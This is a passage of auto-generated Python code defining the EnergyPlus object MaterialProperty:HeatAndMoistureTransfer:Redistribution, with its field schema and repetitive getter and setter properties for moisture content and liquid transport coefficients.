Coefficient 25` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_25` or None if not set """ return self["Liquid Transport Coefficient 25"] @liquid_transport_coefficient_25.setter def liquid_transport_coefficient_25(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 25`""" self["Liquid Transport Coefficient 25"] = value class MaterialPropertyHeatAndMoistureTransferRedistribution(DataObject): """ Corresponds to IDD object `MaterialProperty:HeatAndMoistureTransfer:Redistribution` HeatBalanceAlgorithm = CombinedHeatAndMoistureFiniteElement solution algorithm only. Relationship between liquid transport coefficient and moisture content Has no effect with other HeatBalanceAlgorithm solution algorithms """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'material name', {'name': u'Material Name', 'pyname': u'material_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'number of redistribution points', {'name': u'Number of Redistribution points', 'pyname': u'number_of_redistribution_points', 'maximum': 25, 'required-field': True, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'}), (u'moisture content 1', {'name': u'Moisture Content 1', 'pyname': u'moisture_content_1', 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 1', {'name': u'Liquid Transport Coefficient 1', 'pyname': u'liquid_transport_coefficient_1', 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 2', {'name': u'Moisture Content 2', 'pyname': u'moisture_content_2', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 2', {'name': u'Liquid Transport Coefficient 2', 'pyname': u'liquid_transport_coefficient_2', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 3', {'name': u'Moisture Content 3', 'pyname': u'moisture_content_3', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 3', {'name': u'Liquid Transport Coefficient 3', 'pyname': u'liquid_transport_coefficient_3', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 4', {'name': u'Moisture Content 4', 'pyname': u'moisture_content_4', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 4', {'name': u'Liquid Transport Coefficient 4', 'pyname': u'liquid_transport_coefficient_4', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 5', {'name': u'Moisture Content 5', 'pyname': u'moisture_content_5', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 5', {'name': u'Liquid Transport Coefficient 5', 'pyname': u'liquid_transport_coefficient_5', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 6', {'name': u'Moisture Content 6', 'pyname': u'moisture_content_6', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 6', {'name': u'Liquid Transport Coefficient 6', 'pyname': u'liquid_transport_coefficient_6', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 7', {'name': u'Moisture Content 7', 'pyname': u'moisture_content_7', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 7', {'name': u'Liquid Transport Coefficient 7', 'pyname': u'liquid_transport_coefficient_7', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 8', {'name': u'Moisture Content 8', 'pyname': u'moisture_content_8', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 8', {'name': u'Liquid Transport Coefficient 8', 'pyname': u'liquid_transport_coefficient_8', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 9', {'name': u'Moisture Content 9', 'pyname': u'moisture_content_9', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 9', {'name': u'Liquid Transport Coefficient 9', 'pyname': u'liquid_transport_coefficient_9', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 10', {'name': u'Moisture Content 10', 'pyname': u'moisture_content_10', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 10', {'name': u'Liquid Transport Coefficient 10', 'pyname': u'liquid_transport_coefficient_10', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 11', {'name': u'Moisture Content 11', 'pyname': u'moisture_content_11', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 11', {'name': u'Liquid Transport Coefficient 11', 'pyname': u'liquid_transport_coefficient_11', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 12', {'name': u'Moisture Content 12', 'pyname': u'moisture_content_12', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 12', {'name': u'Liquid Transport Coefficient 12', 'pyname': u'liquid_transport_coefficient_12', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 13', {'name': u'Moisture Content 13', 'pyname': u'moisture_content_13', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 13', {'name': u'Liquid Transport Coefficient 13', 'pyname': u'liquid_transport_coefficient_13', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 14', {'name': u'Moisture Content 14', 'pyname': u'moisture_content_14', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 14', {'name': u'Liquid Transport Coefficient 14', 'pyname': u'liquid_transport_coefficient_14', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 15', {'name': u'Moisture Content 15', 'pyname': u'moisture_content_15', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 15', {'name': u'Liquid Transport Coefficient 15', 'pyname': u'liquid_transport_coefficient_15', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 16', {'name': u'Moisture Content 16', 'pyname': u'moisture_content_16', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 16', {'name': u'Liquid Transport Coefficient 16', 'pyname': u'liquid_transport_coefficient_16', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 17', {'name': u'Moisture Content 17', 'pyname': u'moisture_content_17', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 17', {'name': u'Liquid Transport Coefficient 17', 'pyname': u'liquid_transport_coefficient_17', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 18', {'name': u'Moisture Content 18', 'pyname': u'moisture_content_18', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 18', {'name': u'Liquid Transport Coefficient 18', 'pyname': u'liquid_transport_coefficient_18', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 19', {'name': u'Moisture Content 19', 'pyname': u'moisture_content_19', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 19', {'name': u'Liquid Transport Coefficient 19', 'pyname': u'liquid_transport_coefficient_19', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 20', {'name': u'Moisture Content 20', 'pyname': u'moisture_content_20', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 20', {'name': u'Liquid Transport Coefficient 20', 'pyname': u'liquid_transport_coefficient_20', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 21', {'name': u'Moisture Content 21', 'pyname': u'moisture_content_21', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 21', {'name': u'Liquid Transport Coefficient 21', 'pyname': u'liquid_transport_coefficient_21', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 22', {'name': u'Moisture Content 22', 'pyname': u'moisture_content_22', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 22', {'name': u'Liquid Transport Coefficient 22', 'pyname': u'liquid_transport_coefficient_22', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 23', {'name': u'Moisture Content 23', 'pyname': u'moisture_content_23', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 23', {'name': u'Liquid Transport Coefficient 23', 'pyname': u'liquid_transport_coefficient_23', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 24', {'name': u'Moisture Content 24', 'pyname': u'moisture_content_24', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 24', {'name': u'Liquid Transport Coefficient 24', 'pyname': u'liquid_transport_coefficient_24', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 25', {'name': u'Moisture Content 25', 'pyname': u'moisture_content_25', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 25', {'name': u'Liquid Transport Coefficient 25', 'pyname': u'liquid_transport_coefficient_25', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'MaterialProperty:HeatAndMoistureTransfer:Redistribution', 'pyname': u'MaterialPropertyHeatAndMoistureTransferRedistribution', 'required-object': False, 'unique-object': False} @property def material_name(self): """field `Material Name` | Moisture Material Name that the moisture properties will be added to. Args: value (str): value for IDD Field `Material Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `material_name` or None if not set """ return self["Material Name"] @material_name.setter def material_name(self, value=None): """Corresponds to IDD field `Material Name`""" self["Material Name"] = value @property def number_of_redistribution_points(self): """field `Number of Redistribution points` | number of data points | value >= 1 | value <= 25 Args: value (int): value for IDD Field `Number of Redistribution points` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `number_of_redistribution_points` or None if not set """ return self["Number of Redistribution points"] @number_of_redistribution_points.setter def number_of_redistribution_points(self, value=None): """Corresponds to IDD field `Number of Redistribution points`""" self["Number of Redistribution points"] = value @property def moisture_content_1(self): """field `Moisture Content 1` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_1` or None if not set """ return self["Moisture Content 1"] @moisture_content_1.setter def moisture_content_1(self, value=None): """Corresponds to IDD field `Moisture Content 1`""" self["Moisture Content 1"] = value @property def liquid_transport_coefficient_1(self): """field `Liquid Transport Coefficient 1` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_1` or None if not set """ return self["Liquid Transport Coefficient 1"] @liquid_transport_coefficient_1.setter def liquid_transport_coefficient_1(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 1`""" self["Liquid Transport Coefficient 1"] = value @property def moisture_content_2(self): """field `Moisture Content 2` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_2` or None if not set """ return self["Moisture Content 2"] @moisture_content_2.setter def moisture_content_2(self, value=None): """Corresponds to IDD field `Moisture Content 2`""" self["Moisture Content 2"] = value @property def liquid_transport_coefficient_2(self): """field `Liquid Transport Coefficient 2` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_2` or None if not set """ return self["Liquid Transport Coefficient 2"] @liquid_transport_coefficient_2.setter def liquid_transport_coefficient_2(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 2`""" self["Liquid Transport Coefficient 2"] = value @property def moisture_content_3(self): """field `Moisture Content 3` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_3` or None if not set """ return self["Moisture Content 3"] @moisture_content_3.setter def moisture_content_3(self, value=None): """Corresponds to IDD field `Moisture Content 3`""" self["Moisture Content 3"] = value @property def liquid_transport_coefficient_3(self): """field `Liquid Transport Coefficient 3` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_3` or None if not set """ return self["Liquid Transport Coefficient 3"] @liquid_transport_coefficient_3.setter def liquid_transport_coefficient_3(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 3`""" self["Liquid Transport Coefficient 3"] = value @property def moisture_content_4(self): """field `Moisture Content 4` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_4` or None if not set """ return self["Moisture Content 4"] @moisture_content_4.setter def moisture_content_4(self, value=None): """Corresponds to IDD field `Moisture Content 4`""" self["Moisture Content 4"] = value @property def liquid_transport_coefficient_4(self): """field `Liquid Transport Coefficient 4` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_4` or None if not set """ return self["Liquid Transport Coefficient 4"] @liquid_transport_coefficient_4.setter def liquid_transport_coefficient_4(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 4`""" self["Liquid Transport Coefficient 4"] = value @property def moisture_content_5(self): """field `Moisture Content 5` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_5` or None if not set """ return self["Moisture Content 5"] @moisture_content_5.setter def moisture_content_5(self, value=None): """Corresponds to IDD field `Moisture Content 5`""" self["Moisture Content 5"] = value @property def liquid_transport_coefficient_5(self): """field `Liquid Transport Coefficient 5` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_5` or None if not set """ return self["Liquid Transport Coefficient 5"] @liquid_transport_coefficient_5.setter def liquid_transport_coefficient_5(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 5`""" self["Liquid Transport Coefficient 5"] = value @property def moisture_content_6(self): """field `Moisture Content 6` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_6` or None if not set """ return self["Moisture Content 6"] @moisture_content_6.setter def moisture_content_6(self, value=None): """Corresponds to IDD field `Moisture Content 6`""" self["Moisture Content 6"] = value @property def liquid_transport_coefficient_6(self): """field `Liquid Transport Coefficient 6` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_6` or None if not set """ return self["Liquid Transport Coefficient 6"] @liquid_transport_coefficient_6.setter def liquid_transport_coefficient_6(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 6`""" self["Liquid Transport Coefficient 6"] = value @property def moisture_content_7(self): """field `Moisture Content 7` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_7` or None if not set """ return self["Moisture Content 7"] @moisture_content_7.setter def moisture_content_7(self, value=None): """Corresponds to IDD field `Moisture Content 7`""" self["Moisture Content 7"] = value @property def liquid_transport_coefficient_7(self): """field `Liquid Transport Coefficient 7` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_7` or None if not set """ return self["Liquid Transport Coefficient 7"] @liquid_transport_coefficient_7.setter def liquid_transport_coefficient_7(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 7`""" self["Liquid Transport Coefficient 7"] = value @property def moisture_content_8(self): """field `Moisture Content 8` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_8` or None if not set """ return self["Moisture Content 8"] @moisture_content_8.setter def moisture_content_8(self, value=None): """Corresponds to IDD field `Moisture Content 8`""" self["Moisture Content 8"] = value @property def liquid_transport_coefficient_8(self): """field `Liquid Transport Coefficient 8` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_8` or None if not set """ return self["Liquid Transport Coefficient 8"] @liquid_transport_coefficient_8.setter def liquid_transport_coefficient_8(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 8`""" self["Liquid Transport Coefficient 8"] = value @property def moisture_content_9(self): """field `Moisture Content 9` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_9` or None if not set """ return self["Moisture Content 9"] @moisture_content_9.setter def moisture_content_9(self, value=None): """Corresponds to IDD field `Moisture Content 9`""" self["Moisture Content 9"] = value @property def liquid_transport_coefficient_9(self): """field `Liquid Transport Coefficient 9` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_9` or None if not set """ return self["Liquid Transport Coefficient 9"] @liquid_transport_coefficient_9.setter def liquid_transport_coefficient_9(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 9`""" self["Liquid Transport Coefficient 9"] = value @property def moisture_content_10(self): """field `Moisture Content 10` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_10` or None if not set """ return self["Moisture Content 10"] @moisture_content_10.setter def moisture_content_10(self, value=None): """Corresponds to IDD field `Moisture Content 10`""" self["Moisture Content 10"] = value @property def liquid_transport_coefficient_10(self): """field `Liquid Transport Coefficient 10` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_10` or None if not set """ return self["Liquid Transport Coefficient 10"] @liquid_transport_coefficient_10.setter def liquid_transport_coefficient_10(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 10`""" self["Liquid Transport Coefficient 10"] = value @property def moisture_content_11(self): """field `Moisture Content 11` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_11` or None if not set """ return self["Moisture Content 11"] @moisture_content_11.setter def moisture_content_11(self, value=None): """Corresponds to IDD field `Moisture Content 11`""" self["Moisture Content 11"] = value @property def liquid_transport_coefficient_11(self): """field `Liquid Transport Coefficient 11` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_11` or None if not set """ return self["Liquid Transport Coefficient 11"] @liquid_transport_coefficient_11.setter def liquid_transport_coefficient_11(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 11`""" self["Liquid Transport Coefficient 11"] = value @property def moisture_content_12(self): """field `Moisture Content 12` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_12` or None if not set """ return self["Moisture Content 12"] @moisture_content_12.setter def moisture_content_12(self, value=None): """Corresponds to IDD field `Moisture Content 12`""" self["Moisture Content 12"] = value @property def liquid_transport_coefficient_12(self): """field `Liquid Transport Coefficient 12` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_12` or None if not set """ return self["Liquid Transport Coefficient 12"] @liquid_transport_coefficient_12.setter def liquid_transport_coefficient_12(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 12`""" self["Liquid Transport Coefficient 12"] = value @property def moisture_content_13(self): """field `Moisture Content 13` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_13` or None if not set """ return self["Moisture Content 13"] @moisture_content_13.setter def moisture_content_13(self, value=None): """Corresponds to IDD field `Moisture Content 13`""" self["Moisture Content 13"] = value @property def liquid_transport_coefficient_13(self): """field `Liquid Transport Coefficient 13` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_13` or None if not set """ return self["Liquid Transport Coefficient 13"] @liquid_transport_coefficient_13.setter def liquid_transport_coefficient_13(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 13`""" self["Liquid Transport Coefficient 13"] = value @property def moisture_content_14(self): """field `Moisture Content 14` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_14` or None if not set """ return self["Moisture Content 14"] @moisture_content_14.setter def moisture_content_14(self, value=None): """Corresponds to IDD field `Moisture Content 14`""" self["Moisture Content 14"] = value @property def liquid_transport_coefficient_14(self): """field `Liquid Transport Coefficient 14` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_14` or None if not set """ return self["Liquid Transport Coefficient 14"] @liquid_transport_coefficient_14.setter def liquid_transport_coefficient_14(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 14`""" self["Liquid Transport Coefficient 14"] = value @property def moisture_content_15(self): """field `Moisture Content 15` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_15` or None if not set """ return self["Moisture Content 15"] @moisture_content_15.setter def moisture_content_15(self, value=None): """Corresponds to IDD field `Moisture Content 15`""" self["Moisture Content 15"] = value @property def liquid_transport_coefficient_15(self): """field `Liquid Transport Coefficient 15` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_15` or None if not set """ return self["Liquid Transport Coefficient 15"] @liquid_transport_coefficient_15.setter def liquid_transport_coefficient_15(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 15`""" self["Liquid Transport Coefficient 15"] = value @property def moisture_content_16(self): """field `Moisture Content 16` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_16` or None if not set """ return self["Moisture Content 16"] @moisture_content_16.setter def moisture_content_16(self, value=None): """Corresponds to IDD field `Moisture Content 16`""" self["Moisture Content 16"] = value @property def liquid_transport_coefficient_16(self): """field `Liquid Transport Coefficient 16` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_16` or None if not set """ return self["Liquid Transport Coefficient 16"] @liquid_transport_coefficient_16.setter def liquid_transport_coefficient_16(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 16`""" self["Liquid Transport Coefficient 16"] = value @property def moisture_content_17(self): """field `Moisture Content 17` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 17` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_17` or None if not set """ return self["Moisture Content 17"] @moisture_content_17.setter def moisture_content_17(self, value=None): """Corresponds to IDD field `Moisture Content 17`""" self["Moisture Content 17"] = value @property def liquid_transport_coefficient_17(self): """field `Liquid Transport Coefficient 17` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 17` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_17` or None if not set """ return self["Liquid Transport Coefficient 17"] @liquid_transport_coefficient_17.setter def liquid_transport_coefficient_17(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 17`""" self["Liquid Transport Coefficient 17"] = value @property def moisture_content_18(self): """field `Moisture Content 18` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 18` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_18` or None if not set """ return self["Moisture Content 18"] @moisture_content_18.setter def moisture_content_18(self, value=None): """Corresponds to IDD field `Moisture Content 18`""" self["Moisture Content 18"] = value @property def liquid_transport_coefficient_18(self): """field `Liquid Transport Coefficient 18` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 18` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_18` or None if not set """ return self["Liquid Transport Coefficient 18"] @liquid_transport_coefficient_18.setter def liquid_transport_coefficient_18(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 18`""" self["Liquid Transport Coefficient 18"] = value @property def moisture_content_19(self): """field `Moisture Content 19` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 19` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_19` or None if not set """ return self["Moisture Content 19"] @moisture_content_19.setter def moisture_content_19(self, value=None): """Corresponds to IDD field `Moisture Content 19`""" self["Moisture Content 19"] = value @property def liquid_transport_coefficient_19(self): """field `Liquid Transport Coefficient 19` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 19` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_19` or None if not set """ return self["Liquid Transport Coefficient 19"] @liquid_transport_coefficient_19.setter def liquid_transport_coefficient_19(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 19`""" self["Liquid Transport Coefficient 19"] = value @property def moisture_content_20(self): """field `Moisture Content 20` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 20` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_20` or None if not set """ return self["Moisture Content 20"] @moisture_content_20.setter def moisture_content_20(self, value=None): """Corresponds to IDD field `Moisture Content 20`""" self["Moisture Content 20"] = value @property def liquid_transport_coefficient_20(self): """field `Liquid Transport Coefficient 20` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 20` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_20` or None if not set """ return self["Liquid Transport Coefficient 20"] @liquid_transport_coefficient_20.setter def liquid_transport_coefficient_20(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 20`""" self["Liquid Transport Coefficient 20"] = value @property def moisture_content_21(self): """field `Moisture Content 21` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 21` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_21` or None if not set """ return self["Moisture Content 21"] @moisture_content_21.setter def moisture_content_21(self, value=None): """Corresponds to IDD field `Moisture Content 21`""" self["Moisture Content 21"] = value @property def liquid_transport_coefficient_21(self): """field `Liquid Transport Coefficient 21` | Units: m2/s Args: value (float): value for IDD Field 